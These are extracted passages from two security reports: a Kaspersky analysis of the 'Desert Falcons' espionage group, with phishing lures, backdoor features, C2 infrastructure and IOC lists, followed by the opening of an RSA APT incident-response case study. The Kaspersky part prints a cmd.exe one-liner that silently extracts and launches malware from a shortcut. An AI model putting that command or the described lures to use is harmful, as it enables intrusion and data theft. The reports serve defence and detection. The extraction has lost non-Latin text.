) ,Hi, this is the manager of the Lawyer David) to remind you of the meeting to review the pictures and the report) March 2014 mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 9 Email information Time of delivery From: news letar Subject:   (most cruel) Attachment:  .rar//eeee.scr//04.exe Sept 2014 From: news letar newsletar05gmail.com Subject:  ] Attachment:  .rar//eeee.scr//04.exe Sept 2014 From: Italy Office italy.officcegmail.com] Subject: Safe migration - Attachment: Visa Travel docx.rar//Image visa jpg.scr//H.exe Sept 2014 From: ynet48 ynet48gmail.com] Subject: 6 ... ] (iPhone 6 and our privacy) Attachment: .rar//???
????
?
.scr//02.exe Sept 2014 From:mako mako mako22014gmail.com] Subject:        (what will happen to Israel in ten years) Attachment:  .rar//ss.scr//02.exe Sept 2014 File samples File Name Translation  rar.
The prospect of a new relationship between Sisi and Bashar alAssad rar.
ISIS (Islamic State in Iraq and Levant)  scr.
Terrorism affecting Egypt - the beginning of the end is near ... rar.
_ Palestinian embassies abroad... the reality of a weak role _Maram Mabrouk  docx.scr.
Gaza fishermen, facing poverty and harassment until when?
.docx.scr meetings-recordrcs.pdf Visa Travel docx.scr 17 docx.scr Financial Decision No.
17 concerning the military forces rar.
Sexual harassment in the prime ministers office scr.
Synagogue attack  scr.
Political report on the latest national events .scr mailto:intelreports40kaspersky.com?subject mailto:newsletar05gmail.com mailto:italy.officcegmail.com mailto:ynet48gmail.com mailto:mako22014gmail.com TLP: White For any inquiries, please contact intelreportskaspersky.com 10 Below are some examples of the interesting content used to target important victims: A PDF of a Meeting Record was used when targeting senior politicians in Egypt and Palestine.
The document was used in spear phishing and contains what appear to be the Meeting Minutes for a very important meeting between political leaders in Egypt and Palestine.
Documents used when targeting politicians in Egypt and Palestine mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 11 Documents used when targeting activists in Israel and Palestine 4.1.2.
Just click the shortcut: the rar/lnk trick Another technique used by the cybercriminals is to send a rar file that extracts to multiple files and offers an appealing shortcut in the form of a small, innocent-looking icon.
In this case the victim does not need to double-click an executable file, the shortcut is enough to run a whole command to extract, setup and run the malware.
C:\Windows\System32\cmd.exe /c md c:\LAattrib c:\LA h sC:\Progra1\WinRAR\unrar.exe e _.rar c:\LA\ -o -ibckcopy /y _.doc c:\LA\C:\Progra1\WinRAR\winRAR.exe e -e c:\LA\_.doc c:\LA\ -o -ibckren c:\LA\image21.jpeg alg.exestart c:\LA\alg.exe mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 12 4.1.3.
Right-to-left extension override trick This method takes advantage of special characters in Unicode to reverse the order of characters in a file name, hiding the dangerous file extension in the file name and placing a harmless-looking fake file extension near the end of the file name.
By using this technique, even careful users with good technical knowledge could be tricked into running malicious files.
4.1.4.
Social Networking tricks Targeted Facebook attacks aimed at specific people The Desert Falcons team is among to the first to run targeted attacks through Facebook chat.
The attackers created authentic Facebook accounts and then interacted with chosen victims through common Facebook pages until they had gained their trust.
Then they sent them Trojan files in the chat hidden as an image or similar.
Below are some screenshots of a victims PC showing the infection process, extracted from one of the command and control servers: mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 13 Malware files being sent as me.rar or mypic.rar from fake accounts to the victims through chat Facebook attacks targeted at generic activists and political followers (mass infection) For wider infections, especially among activists and political figures, different social engineering techniques were used.
These included Facebook posts and redirects to fake pages with political content.
We were able to identify suspect Facebook posts on popular activist pages, with links to domains or malware downloads used by Falcons.
Below are a few examples: mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 14 Posts made from compromised or fake accounts on political pages Dr Salam Fayyad is a former prime minister of the state of Palestine.
Another post with malicious content, this time on the page of Benjamin Netanyahu, the current prime minister of Israel.
4.1.5.
The fake RealPlayer plugin trick In this case political social engineering was used to deliver malware as a plugin for the banned video of a famous political show in Egypt hosted by the satirist Bassem Youssef.
The page was hosted on the following domain: www.linkedim.in, chosen to resemble the popular LinkedIn social networking site.
mailto:intelreports40kaspersky.com?subject http://www.linkedim.in TLP: White For any inquiries, please contact intelreportskaspersky.com 15 4.2.
Infiltrate and Spy The Desert Falcons depend on two different backdoors to spy on victims.
Both backdoors are homemade and are under continuous development.
We were able to identify and collect more than 100 malware samples used by the Desert Falcons.
Once they have infected the victims computer, attackers have full access and control, and they usually proceed as follows: 1.
New victims are categorized into groups before being infected (e.g.
A001, A002, and so on) 2.
One of the cybercriminals is appointed to each new victim after infection 3.
A complete list of all files (especially XLS, DOC, JPG and WAV) is retrieved from the victims machine 4.
The cybercriminal browses and collects any interesting pictures and files 5.
The cybercriminal also collects chats and screenshots 6.
Depending on the importance of the victim, the surveillance is then either intensified or dropped 4.2.1.
The Falcons main Trojan This is the main Trojan used in the attacks, especially when targeting important victims.
Multiple versions of the Trojan were found, revealing ongoing development and improvements.
The Falcons main Trojan is divided into two modules: 4.2.1.1.
Falcons Downloader This module is used for the initial infection.
Once executed, the Falcons downloader will send a registration request to the Command and Control (CC) server with the victims IP address and a harddisk ID.
The downloader will request a registration confirmation from the CC.
Encrypted versions of the latest Falcons backdoor will then be downloaded and installed on the victims machine.
mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 16 4.2.1.2.
Falcons Backdoor The Falcons backdoor communicates with CC servers using HTTP requests with encrypted content, providing the attackers with full backdoor functionality including: Screenshots Keylogs Upload/Download files Information on all the .doc and .xls files on the victims hard disk or connected USB devices The ability to steal passwords stored on the system registry (Internet Explorer and live Messenger) All the files and screenshots collected by the backdoor are sent to the CC in a password- protected archive.
The earliest sample we found of the Falcons Trojan was compiled in Feb 2013.
We consider this to be the real start date for the infection activity.
(
c07ac2120b4312b33089c0 cc97405876, MSN.exe).
4.2.2.
DHS spyware DHS naming is used by the attackers to describe the nickname initials of one of the developers (D H Spyware).
From June 2014, the Falcons began using a new, totally rewritten backdoor, the DHS spyware, is built by a different development team.
This also provided the attackers with control over the infected systems, serving the same goals as before through the following functionalities: Screenshots and Keylogs Audio recording Downloading and Uploading files Password stealing Interactive shell mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 17 DHS builder, used to bind malware with an icon and the category to which the victim belongs.
Screen shot for DHS CC management console 4.2.3.
DHS2015, also called iRat Beginning 2015, DHS released a new, almost final version of the Trojan malware, now packed with new features and techniques to escape detection, but also adding encryption to the CC communication and file storage.
The new malware has been named DHS2015 or iRAT.
4.2.4.
Mobile backdoor traces During the investigation of the CC servers we found traces of data pointing to mobile Trojan logs on the CC www.fpupdate.info.
The traces represent a structure for a mobile spying command server, the server contains mobile Call logs, SMS logs and Geolocation tracking formore than 360 victims.
mailto:intelreports40kaspersky.com?subject www.fpupdate.info TLP: White For any inquiries, please contact intelreportskaspersky.com 18 4.2.5.
Other tools by DHS The cybercriminals also developed other tools, for example, a public/private key-based file cryptor/decryptor tool.
MD5: 363d7b99fee999a4c39a2a1052fa7919 mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 19 4.2.6.
Compilation timeline for samples The malware files compilation timeline for the collected samples clearly shows the Falcons activity and operations, which started in 2013 and increased dramatically in 2014.
4.3.
Track and Control The Desert Falcons operation can be divided into three different campaigns, each operated from a different CC/IP, targeting different types of victims and operated mostly by different team members.
The campaigns can be classified by the type and version of malware and the type of victims targeted: Campaign 1:  Active in Palestine, Egypt, Jordan and the Gulf states (KSA, UAE and Qatar) Campaign 2: Active in Israel Campaign 3: Active in Egypt 4.3.1.
1st Campaign - targeting computer devices and mobiles This is the main Falcons campaign and included the highest number of victims.
It focused mainly high profile victims in Palestine, Jordan, Egypt and the Gulf states, and the target victims were mainly government organizations, military centers and top media outlets.
CC Domains IPs Victims Malware used Registration Date ahmedfaiez.info 188.40.75.132 188.40.106.84 Media Government Falcons Trojan 2013-03-29 fpupdate.info 188.40.75.132 Mobile Falcons Trojan 2013-04-14 mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 20 CC Domains IPs Victims Malware used Registration Date flushupate.com 188.40.75.132 Falcons Trojan 2014-02-16 flushupdate.com 188.40.75.132 Media Falcons Trojan 2014-02-16 ineltdriver.com 188.40.75.132 Military Government Falcons Trojan 2014-09-14 mediahitech.info 188.40.106.84 Unknown Falcons Trojan 2012-06-28 4.3.2.
2nd Campaign This campaign mainly targeted victims in Israel using the main Falcons Trojan.
More than 600 victims have been identified.
CC Domains IPs Victims Malware used Registration Date mixedwork.com 188.40.81.136 Israeli Victims Falcons Trojan 2014-02-18 plmedgroup.com 188.40.81.136 Israeli Victims Falcons Trojan 2014-02-18 pstcmedia.com 188.40.81.136 Unknown, currently sinkholed Falcons Trojan 2013-07-04 4.3.3.
3rd Campaign This targeted mainly activists, political figures and radio/TV channels in Egypt.
Its the only campaign in the Falcons operations that used the DHS spyware.
CC Domains IPs Victims Malware used Registration Date advtravel.info 188.40.106.84 Activists DHS Spyware 2013-11-17 linksis.info 188.40.106.84 Politicians and Activists DHS 2015/IRat 2014-12-01 Besides being the only campaign to use DHS spyware, we can confirm this is also the most recent, managed by new and less experienced group members.
This is apparent from mistakes made in the campaign operation.
For example, the CC server advtravel.info was publicly accessible, despite containing files, screenshots and information collected from the victims and the backdoor execution logs.
mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 21 File and folder structure on one of the command servers.
For a short time the file access permissions for the command servers were made public.
4.3.4 Liptona.net One of the interesting findings that could indicate an earlier start to the Falcons operations is the Liptona.net domain.
The hosting history for this domain shows that between 21 June 2012 and December 2013, this domain was pointing to one of the IPs (188.40.106.84) used by the Falcons.
We were able to find a malware sample using Liptona.net as a CC (667b5004fa197beb0129e1ddbc416864).
This sample has some similarities to the Falcons main backdoor and the compilation time for the sample points back to Dec 2011.
One interesting thing is that this sample tries to steal login credentials for hardcoded URLs of Palestinian websites, an indication of a shared goal with the Falcons team.
Websites hardcoded in the malware: http://mail.mtit.pna.ps/src/login.php (Email Ministry of Telecommunications and Information Technology Palestine ) http://myaccount.jawwal.ps/ (Jawwal Mobile provider) http://portal.iugaza.edu.ps/ (Islamic University of Gaza) Malware using liptona.net as CC containing hardcoded URLs for Palestinian websites mailto:intelreports40kaspersky.com?subject http://mail.mtit.pna.ps/src/login.php http://myaccount.jawwal.ps/ TLP: White For any inquiries, please contact intelreportskaspersky.com 22 4.3.4.
Campaigns operational timeline Even though malware files were only traced back to 2013, domain-related traces were found that may indicate earlier activities by the Desert Falcons: mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 23 5.
Attribution The investigation into the Desert Falcons cybermercenaries enabled the research team to determine the identity of some members of the group behind the development and operation of the campaigns.
The Desert Falcons team members count around 30, working in three teams and operating mainly from Palestine, Egypt and Turkey.
We also confirmed that the cybercriminals are native Arabic speakers from the Middle East, based on evidence from: The identities found The fact that most malware files have the PE resource Version Info with Lang property set to Arabic Arabic User names for the CC administrators Arabic names and emails found in the registration history of the CC domains Solid Arabic phishing emails and documents used in attacks DHS spyware command and control panel with Arabic interface The identities of some of the cybercriminals were found when inspecting the contents of one of the CCs which had public read permissions open for a short period of time.
We were able to track and identify the full profile of some of the attackers including Facebook and twitter accounts, private blogs and websites.
Surprisingly the attackers have published on twitter some information about their development of the spyware and the command servers.
mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 24 6.
Conclusion The Desert Falcons attacks show clearly that zeroday techniques are not a must for efficient targeted attacks.
Using phishing emails, social engineering and homemade tools and backdoors, the Desert Falcons were able to infect hundreds of sensitive and important victims in the Middle East region through their computer systems or mobile devices.
This is just an alert for the poor cyber security situation in the region.
Banks, Media outlets, Governments and Military entities in different countries all fell prey to the Desert Falcons attacks.
Falcons threat actors are determined, active and have good technical knowledge.
We expect their operations to carry on developing more Trojans and using more advanced techniques.
With enough funding, they might be able to acquire or develop exploits that would increase the efficiency of their attacks Desert Falcons is just one example of the rise of cybercrime in a geopolitically troubled region that will motivate other threat actors or states to leverage cyber attacks for political or criminal goals.
Kaspersky Lab detects all the malware files as follows: Trojan.
Win32.DesertFalcons Trojan-Spy.
Win32.Agent.cncc Trojan-Spy.
Win32.Agent.ctcr Trojan-Spy.
Win32.Agent.ctcv Trojan-Spy.
Win32.Agent.ctcx Trojan-Spy.
Win32.Agent.cree Trojan-Spy.
Win32.Agent.ctbz Trojan-Spy.
Win32.Agent.comn Trojan.
Win32.Bazon.a mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 25 7.
Appendix 7.1.
Appendix 1: CCs Whois History Domain First Related Registration Date IP addresses ahmedfaiez.info 2013-03-29 188.40.75.132 188.40.106.84 fpupdate.info 2013-4-14 188.40.75.132 linkedim.in 2013-05-29 188.40.75.132 pstcmedia.com 2013-07-04 188.40.81.136 advtravel.info 2013-11-17 188.40.75.132 188.40.106.84 flushupate.com 2014-02-16 188.40.75.132 flushupdate.com 2014-02-16 188.40.75.132 mixedwork.com 2014-02-18 188.40.81.136 plmedgroup.com 2014-02-18 188.40.81.136 ineltdriver.com 2014-09-14 188.40.75.132 iwork-sys.com 2014-09-17 188.40.75.132 androcity.com 2014-11-17 188.40.106.84 linksis.info 2014-12-01 188.40.106.84 7.2.
Appendix 2: IOC  Samples The following Indicators of Compromise can be used to identify Falcons infections.
7.2.1.
Known Falcons CC hostnames advtravel.info ahmedfaiez.info pstcmedia.com mixedwork.com flushupate.com flushupdate.com ineltdriver.com liptona.net mediahitech.info fpupdate.info plmedgroup.com linksis.info mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 26 7.2.2.
Related Domains linkedim.in iwork-sys.com nauss-lab.com nice-mobiles.com facebook-emoticons.bitblogoo.com abuhmaid.net blogging-host.info androcity.com tvgate.rocks 7.2.3.
Known Falcons CC IPs 188.40.75.132 188.40.81.136 188.40.106.84 7.2.4.
MD5s of backdoors used in the attacks 003082ee859edccd104ab4cb38deb131 00eef6a2ac57e987f4750c6eff4e93d6 01f68cad955b14f4849e3796a834cd44 02ffcfdcfb205cece05597fce1b307b7 03ea5a6c095b025e111a64a32a1d1460 07f0e2104773deec4ec351af40441b84 0ee6b2296df8c7e5aabfee46baef2a08 10a2212d23f8e248b59cfbf6b809e312 12dee292c0ce4ec005f9b55ee53e2b4e 15c5c4ca7bd169cc4a1747971afe4f02 1691aca2b2209ddb76d5107da92861e7 17bfc2f4efc1031b33835ca3ec0a71fa 1b26203d329a6663dfcb286bc4702c77 1e52a293838464e4cd6c1c6d94a55793 22e90e502bd4c8c19480e987cc46a9a8 238b48338c14c8ea87ff7ccab4544252 23d6eef34724f2b83f4181d3df47ce69 2804dce3a379b9ab5457c095dc93df91 2986d9af413cd09d9ffdb40040e5c180 2b94213b0ba7200742a08992b69a127a 2bce2ccd484a063e5e432a6f651782d9 33d56702729fd2bc5eb0f467663b03b4 418cf0044b8e0e8db6270454f617c636 436a7ad10b379ddc0a454e5129dc3ba6 4a0ef41272210f41b987224ff57f6280 4b521edf765d1369303d36cc3024c19d 4fbf48b61d2f2f590ae35f8f65867e40 518a765d999191b9ed7c4730714def31 59482460da44c3d7192970e705688162 5bb619dcb0c9684e0bbdf6d85769dbdd 5d7ba3b5780592c6e31be70a9077a8ed 63c480b1cc601b02b4acb30309b007e6 667b5004fa197beb0129e1ddbc416864 686779709226c6727bd9ebc4b1ff21b1 6fcc6c2e32fc8cee3fab0ac6fd6194cd 6ff73820c23551225de0ca08c2fc4397 7075c9a874ab5b0c27942714394f3885 72ef4096acd0b9274d5d6f2d981eb724 73c46bacc471db08a6c0e31caef3f9e8 74d8b882efae9fea1787f1558589fecb 76f74b24480bc1a42998c9440ddc2fad 79ac7484d4ad1608cc939ed0ae6e02e8 7ac102b740b299824e34394f334b5508 7ed79032a1ad8535242428e69507ca0a 8b5b5c9852f48fa4430943fd8412e0fb 8bbad466f2257e05f66ece621ccf2056 91510aa0bbf961a34f0326fbaf2bcbb1 9469ff12c582cf7943582dd28a1920cc 96d56c4a5426466f2a0dc3813386818d a1b7f8f3cf6dee880028bd6db8111a1d a313d1092c5245da1c20ac05915a3d11 a4a390f90be49b2bb51194d0844fed7f a668c1dbdcdf2d561bea512361b101b9 a73ec37e872b49e5736cc06193105df9 aba4d663404a807581af7f20105f36d5 b1060166e3e1ba567634fbc96bd0c27d mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 27 b23c2925ee2d48517d17d4886e21c630 b2d6091ff886b0745fbddf9d61b42064 b312d48899c00e8bbaaff72503a07de8 b71c734112f6351f867ae55229901722 b71dc1257d200783f549822c502173fc bac3b1fbe839af1db4692a747a389e48 c07ac2120b4312b33089c0cc97405876 c60ada815212fc9c58fb801f99c230a4 cc0d753dce58c74011bbb1c116d10e1b d048a6a8377a865f07cbc2429ffaa3e7 d5d0be0b0a9ee793eac9af45f9b14a2e d7341d147c8d63137ed7a0b365ccc56e decb846191be54c441677bb1da264029 dff746868a1559de9d25037e73c06c52 e763e2a3b0b1ed43447afe281e134e95 f3d9689121a996f68533bd78eb6a18d9 f4926f3bacdc2fa78b47c93b9123a5bc f75cebd9a5d2f367117109845561e2d4 fac66827a8cf3197358c1eaf1d6aa2bf 3340360a84d5e186221cd129159788a7 f78fcd4eaf3d9cd95116b6e6212ad327 aefea9d795624da16d878dc9bb81bf87 cb87b5d46015f8416d9d3a50bfc0cf19 3f879b77a5bd4cf5cf20ac6072fdbf5d 560f7807da12409779a2dc71e06bcebe 5aca63d39b56206e0c8c9a084d0446a3 4ff74ab38668b524b85fd51825efe3fc 52e50e109861d530e44eaf0ec2704751 71af60e77a148e45dbdec4de8411e16f 2607abe604832363514eb58c33a682fc e7cf1f540f773b35f8ad988d14d7226e bbc79bca19b0ebb95cb9cc69cc656382 2b3baed817a79109824d3a8a94f6c317 6B74ACF4246F9C85ED6D020330FBEC39 D146C3A288AD021B25D7241431F7494C 8B1EFE545D1ABE35FF095F8A1D35FAAE b1bc9b06e3aa12fb899cd715abbeb257 4e2405d93e541f9bae34564c80f7432e fa6fbd1dd2d58885772bd0b37633d5d7 7.2.5.
Backdoor related files systemdrive\ProgramData\cloud\skype.exe systemdrive\ProgramData\cloud\msnn.dll systemdrive\ProgramData\cloud\pluse.dll systemdrive\ProgramData\skypee\skype.exe systemdrive\ProgramData\skypee\msnn.dll systemdrive\ProgramData\skypee\pluse.dll systemdrive\Program Files\Messenger\MSN.exe systemdrive\Program Files\Messenger\msnn.dll systemdrive\Program Files\Messenger\pluse.dll systemdrive\ProgramData\syn\Skype.exe systemdrive\ProgramData\syn\msnn.dll systemdrive\ProgramData\syn\pluse.dll 7.2.6.
Attacker e-mail accounts used in spear phishing attacks newsletar05gmail.com ynet48gmail.com mako22014gmail.com italy.officcegmail.com mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 28 DailyBusinessAcademyThreatPostEugeneSecureList Securelist, the resource for KasperskyLab experts technicalresearch, analysis, and thoughts.
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RSA Incident Response Case Study RSA Incident Response incident response RSA Incident Response: An APT Case Study RSA Security 8 April 2015 RSA Incident Response Case Study Table of Contents 1.
Executive Summary ............................................................................................................................................ 5 2.
Security Analytics and ECAT Deployment .................................................................................................. 7 3.
Analysis Methodology ........................................................................................................................................ 8 4.
Case Study Technical Details ........................................................................................................................... 9 4.1 Initial Consultation .......................................................................................................................................................... 9 4.2 Incident Response ............................................................................................................................................................ 9 4.2.1 ECAT Analysis  System XX13 ................................................................................................................................................ 10 4.2.2 ECAT Analysis  System XXDEV3 .......................................................................................................................................... 12 4.2.3 ECAT Analysis  Trojan.
FF-RAT ............................................................................................................................................. 15 4.2.4 ECAT Analysis  System XXXXNAPP02 ............................................................................................................................... 16 4.2.5 ECAT Analysis  Recycler folder ............................................................................................................................................ 18 4.2.6 ECAT Analysis  System XXME ............................................................................................................................................... 18 4.2.7 ECAT Analysis  System XX22 ................................................................................................................................................ 21 4.2.8 ECAT Analysis  Hunting with InstantIOCs.
.....................................................................................................................
22 4.3 SA Analysis  Trojan.
Lurker ...................................................................................................................................... 23 4.4 Parallel Detection with Security Analytics ........................................................................................................... 26 5.
Trojan Families .................................................................................................................................................. 29 5.1 Trojan.
Lurker ................................................................................................................................................................. 29 5.2 Trojan.
SurperhardCorp .............................................................................................................................................. 30 5.3 Trojan.
Derusbi ............................................................................................................................................................... 30 5.4 Trojan.
HiKiT ................................................................................................................................................................... 31 5.5 Trojan.
FF-RAT ................................................................................................................................................................ 32 5.6 Trojan.
PlugX ................................................................................................................................................................... 34 5.7 Trojan.
Gh0st ................................................................................................................................................................... 34 5.8 Trojan.
PoisonIvy ........................................................................................................................................................... 35 6.
Conclusion ........................................................................................................................................................... 37 7.
Appendix I ............................................................................................................................................................ 38 Table 1: SA beacon detection rules ......................................................................................................................................................... 26 Table 2: Trojan.
Lurker files details and C2 channels ................................................................................................................................ 29 Table 3: Trojan.
SuperhardCorp file details and C2 channels ................................................................................................................... 30 Table 4: Trojan.
Derusbi - file details and C2 channels ............................................................................................................................. 30 Table 5: Trojan.
Hikit - file details and C2 channels .................................................................................................................................. 31 Table 6: Trojan.
FF-RAT - file details ......................................................................................................................................................... 32 Table 7: Trojan.
FF-RAT - file details ......................................................................................................................................................... 33 Table 8: Trojan.
FF-RAT - file details ......................................................................................................................................................... 33 Table 10: Trojan.
FF-RAT - file details ....................................................................................................................................................... 33 Table 11: Trojan.
FF-RAT - file details ....................................................................................................................................................... 33 Table 12: Trojan.
PlugX - file details and C2 channels .............................................................................................................................. 34 Table 13: Digitally Signed Trojan.
Gh0st file details ................................................................................................................................. 35 Table 14: Unsigned Trojan.
Gh0st file details ........................................................................................................................................... 35 Table 15: Trojan.
PoisonIvy - file details ................................................................................................................................................... 35 RSA Incident Response Page 3 RSA Incident Response Case Study Figure 1: RSA vs traditional analysis comparison ...................................................................................................................................... 5 Figure 2: Network diagram with capture points ........................................................................................................................................ 7 Figure 3: IR Competencies ........................................................................................................................................................................ 8 Figure 4: ShimCache results from memory analysis .................................................................................................................................. 9 Figure 5: ECAT File Properties Window ................................................................................................................................................... 10 Figure 6: ECAT MFT Viewer - Trojan.
Hikit ................................................................................................................................................ 10 Figure 7: Obfuscated and deobfuscated Trojan.
Hikit config file ............................................................................................................. 11 Figure 8: Yara signature for Trojan.
Hikit .................................................................................................................................................. 11 Figure 9: Yara hit on Trojan.
Hikit ............................................................................................................................................................. 12 Figure 10: ECAT MFT time analysis - Trojan.
Hikit .................................................................................................................................... 12 Figure 11: ECAT MFT analysis - At.job files ............................................................................................................................................ 12 Figure 12: ECAT MFT time analysis .......................................................................................................................................................... 13 Figure 13: ECAT MFT analysis - Trojan.
FF-RAT ......................................................................................................................................... 13 Figure 14: Digital Signature details of Trojan.
FF-RAT .............................................................................................................................. 13 Figure 15: Yara signature for Trojan.
FF-RAT ............................................................................................................................................ 14 Figure 16: ECAT MFT time analysis on At3.job file .................................................................................................................................. 14 Figure 17: SA analysis - Trojan.
FF-RAT beaconing ................................................................................................................................... 14 Figure 18: ECAT analysis - Trojan.
FF-RAT ................................................................................................................................................. 15 Figure 19: ECAT analysis - filtering infected hosts ................................................................................................................................... 15 Figure 20: ECAT analysis - requesting files enterprise wide .................................................................................................................... 15 Figure 21: ECAT analysis - systems infected with Trojan.
FF-RAT ............................................................................................................. 16 Figure 22: ECAT MFT time analysis - Time stomping ............................................................................................................................... 16 Figure 23: ECAT analysis - Trojan.
Lurker2 ................................................................................................................................................ 17 Figure 24: Yara Signature - Trojan.
Lurker2 .............................................................................................................................................. 17 Figure 25: Yara signature - Trojan.
DerusbiAP32 ...................................................................................................................................... 18 Figure 26: ECAT analysis - files at root of Recycler folder ........................................................................................................................ 18 Figure 27: ECAT analysis - files at root of Recycler folder ........................................................................................................................ 19 Figure 28: ECAT analysis - Trojan.
Gh0st .................................................................................................................................................. 19 Figure 30: ECAT analysis - Trojan in cached files ..................................................................................................................................... 19 Figure 31: Relevant Internet History results ............................................................................................................................................ 20 Figure 32: Additional relevant Internet History results ........................................................................................................................... 20 Figure 33: ECAT analysis - Systems infected with Trojan.
Gh0st .............................................................................................................. 20 Figure 34: Trojan.
Gh0st - de-obfuscated configuration file ..................................................................................................................... 21 Figure 35: ECAT analysis - files at root of Recycler folder ........................................................................................................................ 21 Figure 36: ECAT MFT time analysis - Trojan.
PlugX ................................................................................................................................... 21 Figure 37: ECAT MFT time analysis - Trojan.
PoisonIvy ............................................................................................................................ 22 Figure 38: ECAT analysis - filtering systems infected with PoisonIvy ...................................................................................................... 22 Figure 39: ECAT analysis - filtering systems infected with PoisonIvy ...................................................................................................... 22 Figure 40: ECAT analysis - systems infected with Trojan.
Lurker .............................................................................................................. 23 Figure 41: ECAT analysis - systems infected with Trojan.
Superhardcorp ................................................................................................ 23 Figure 42: SA analysis - Trojan.
Lurker ...................................................................................................................................................... 24 Figure 43: SA analysis - Trojan.
Lurker HTTP anomalies ........................................................................................................................... 24 Figure 44: SA analysis - Trojan.
Lurker C2 channel activity ....................................................................................................................... 24 Figure 45: SA analysis - Trojan.
Lurker C2 channel activity ....................................................................................................................... 25 Figure 46: SA analysis - Trojan.
Lurker C2 activity .................................................................................................................................... 25 Figure 47 Suspicious TCP Beaconing ........................................................................................................................................................ 27 Figure 48 Suspicious TCP Beaconing ........................................................................................................................................................ 27 Figure 49 IP.Alias Resolution for drometic.suroot.com ........................................................................................................................... 27 Figure 50 FF-RAT Encoded Beacon .......................................................................................................................................................... 28 RSA Incident Response Page 4 RSA Incident Response Case Study Figure 51 FF-RAT Decoded Beacon .......................................................................................................................................................... 28 Figure 52 FF-RAT Detection Parser .......................................................................................................................................................... 28 Figure 53: Trojan.
Lurker - DES keys used by each variant ....................................................................................................................... 29 Figure 54: Trojan.
SuperhardCorp - binary snippet .................................................................................................................................. 30 Figure 55: Trojan.
DerusbiAP32 - configuration file ................................................................................................................................. 31 Figure 56: Trojan.
Hikit deobfuscated configuration file .......................................................................................................................... 32 Figure 57: Trojan.
Gh0st magic string ....................................................................................................................................................... 35 Figure 58: Trojan.
PoisonIvy - Memory snippet containing password ..................................................................................................... 35 Figure 59: PosionIvy server side .............................................................................................................................................................. 36 Figure 60: Plaintext file ............................................................................................................................................................................ 38 Figure 61: aPACK file structure ................................................................................................................................................................ 38 Figure 62: Trojan.
FF-RAT configuration file structure ............................................................................................................................. 39 Figure 63: Trojan.
FF-RAT RC4 key example ............................................................................................................................................. 39 Figure 64: Trojan.
FF-RAT RC4 decrypted configuration file ..................................................................................................................... 39 Figure 65: RC4 decrypted configuration file with manually generated aPACK header ........................................................................... 40 Figure 66: appack.exe error message ...................................................................................................................................................... 40 Figure 67: Disassembly of appack.exe ..................................................................................................................................................... 41 Figure 68: Patching appack.exe ............................................................................................................................................................... 41 Figure 69:RC4 decrypted and aPACK decompressed Trojan.
FF-RAT configuration file ........................................................................... 42 RSA Incident Response Page 5 RSA Incident Response Case Study 1.
Executive Summary This case study contains information from an engagement that the RSA Incident Response (IR) team worked during the September to October 2013 timeframe.
It highlights the analysis flow using two of our flagship products, Security Analytics (SA) and the Enterprise Compromise Assessment Tool (ECAT), for an Advance Persistent Threat (APT) intrusion investigation.
These key technologies allow RSA analysts to process massive datasets and find forensically interesting artifacts in near real-time and more quickly than using standard incident response processes.
APT actors are typically state sponsored, highly skilled, and have the resources to maintain prolonged campaigns of attacks against their targets.
Law Enforcement (LE), security researchers or other 3rd-party entities typically notify victims of APT intrusions, like the one in this case.
When analysts initially start working with a customer, the intent is to verify the intelligence of the notification.
Too narrow of a focus on specific threat actors and known Indicators of Compromise (IOC) can give the analyst a myopic view of the scope of the incident.
This is where the traditional Incident Response process and the process employed by RSA diverge.
Utilizing SA and ECAT in parallel, analysts are able to mark up their respective datasets and feed each other actionable intelligence.
Given the forensic capabilities of the respective tools, a large majority of the Host Based triage analysis can be completed before ever requesting full disk images.
Additionally, with the capability of examining the host in detail remotely, false positives commonly found in traditional IOC sweeps can be eliminated, reducing analytical work load.
Neither technology employed by RSA, ECAT1 or Security Analytics, rely on static signatures from known IOCs.
Instead, the technologies utilize a multi-layer approach to identify known good behavior and related binaries while the unknown and non-standard artifacts stand out.
This allows the analyst to broaden their search and discover artifacts beyond the scope of the known.
This workflow has been instrumental in many Incident Response engagements led by RSA oftentimes there are multiple intrusion sets and older campaigns left behind in the environment, not discovered by traditional methods including Anti-Virus, or discovered during previous 3rd party response efforts.
Figure 1 shows a timeline of a traditional response as compared to an incident response effort leveraging ECAT and Security Analytics.
Figure 1: RSA vs traditional analysis comparison 1 ECAT can be integrated with OPSWAT, which scans files with multiple AV engines, and Yara signatures, which can be created by the end user.
RSA Incident Response Page 6 RSA Incident Response Case Study During this response effort RSA IR discovered multiple APT actors in the network, where at least one APT group had been present for over 3 years.
At least 18 of the systems in the network had either been infected with Trojans deployed by APT actors, or had clear evidence they had been accessed for the purpose of stealing information.
Eight different Trojan families were discovered during the investigation, some of which were capable of capturing keystrokes and providing GUI access to the infected system.
RSA Incident Response Page 7 RSA Incident Response Case Study 2.
Security Analytics and ECAT Deployment RSA utilized the victims Security Analytics infrastructure capturing all enterprise ingress/egress traffic from 3 US locations, as depicted in Figure 1 below.
The ECAT agent was deployed to about 500 Windows systems on the network.
Figure 2: Network diagram with capture points RSA Incident Response Page 8 RSA Incident Response Case Study 3.
Analysis Methodology RSA IR employs a methodology that is founded on industry standards.
The holistic approach includes the following four core components: Intelligence gathering and research Host-based forensic analysis Network-based forensic analysis and, Malware analysis.
Using an iterative approach, the RSA IR Team employs a repeatable process as needed upon the discovery of additional actionable data.
